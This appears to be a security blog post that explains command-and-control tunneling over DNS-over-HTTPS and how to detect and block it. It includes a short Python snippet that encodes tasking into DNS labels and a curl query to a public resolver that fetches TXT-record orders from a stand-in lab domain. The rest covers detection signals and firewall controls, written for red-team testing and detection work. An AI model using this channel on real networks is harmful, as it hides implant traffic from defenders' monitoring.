Your C2 Is a DNS-over-HTTPS Lookup to Cloudflare and Your SIEM Does Not Care
port 53 is blocked. good job. the implant shrugged, opened TLS to cloudflare-dns.com, stuffed a base32 tasking blob into a DNS label, and got its next order as a TXT record. your proxy logged “browsing.” your threat hunt logged nothing. congratulations on the DoH era.
*.t.lab-resolver.example) and planted proxy JSON. do not point real DoH queries with encoded payloads at public resolvers as a joke. this is for authorized red-team channel testing and for detection engineers who need a concrete signal beyond “DNS is weird.”the trick in one paragraph
classic DNS tunneling (iodine, dnscat2, dns2tcp) speaks UDP/53 or TCP/53 to an authoritative server you control. defenders finally noticed. DNS-over-HTTPS (RFC 8484) wraps the same DNS message in HTTPS to a trusted recursive resolver. the recursive then asks your authoritative zone. from the endpoint’s point of view, it is a normal browser-shaped TLS session to Cloudflare, Google, or Quad9. from your C2’s point of view, it is still DNS labels in, TXT out.
step 1: encode the tasking
task = b'{"op":"whoami","id":7}'
label = base64.b32encode(task).decode().strip('=').lower()
qname = f'{label}.t.lab-resolver.example'base32 is friendlier than base64 in DNS (no +//). split long payloads across multiple labels or multiple queries. real malware does chunking and sequencing. our lab keeps it short so the screenshot fits.
step 2: ask Cloudflare, get tasking
curl -sS -H 'accept: application/dns-json' \
'https://cloudflare-dns.com/dns-query?name=....t.lab-resolver.example&type=TXT'the recursive resolver does the dirty work. your authoritative nameserver for lab-resolver.example returns a TXT with the result. the implant never speaks raw DNS on the LAN. Wireshark on the workstation sees TLS to 1.1.1.1. that is the whole joke.
why defenders care
- long / high-entropy DNS labels in DoH query names (decrypt at proxy, or log from a DoH-aware agent).
- TXT answers with
b64:,zx:, or high-entropy blobs at volume from one host. - DoH to public resolvers from servers that have no business resolving via Cloudflare (use your internal DNS, cowards).
- periodic beacons: same length pattern every N minutes to the same zone.
- authoritative logs: if you own the zone under attack research, query rate and NXDOMAIN vs NOERROR ratios tell on you.
controls that are not theater
- force corporate DNS. sinkhole or block outbound DoH to public resolvers at the firewall (yes, including 1.1.1.1/dns-query and dns.google).
- if you must allow DoH, terminate and inspect it on a proxy that logs QNAME.
- alert on label length and entropy baselines per user / per device.
- for red team: prefer your own DoH front only in scoped tests, document the resolver IPs, and tear the zone down after.
sloth take
you spent a decade learning to hate port 53. attackers spent a weekend putting DNS inside HTTPS to a brand everyone trusts. the channel is not magic. the trust is. revoke the trust or learn to read DoH logs. there is no third option that involves vibes.
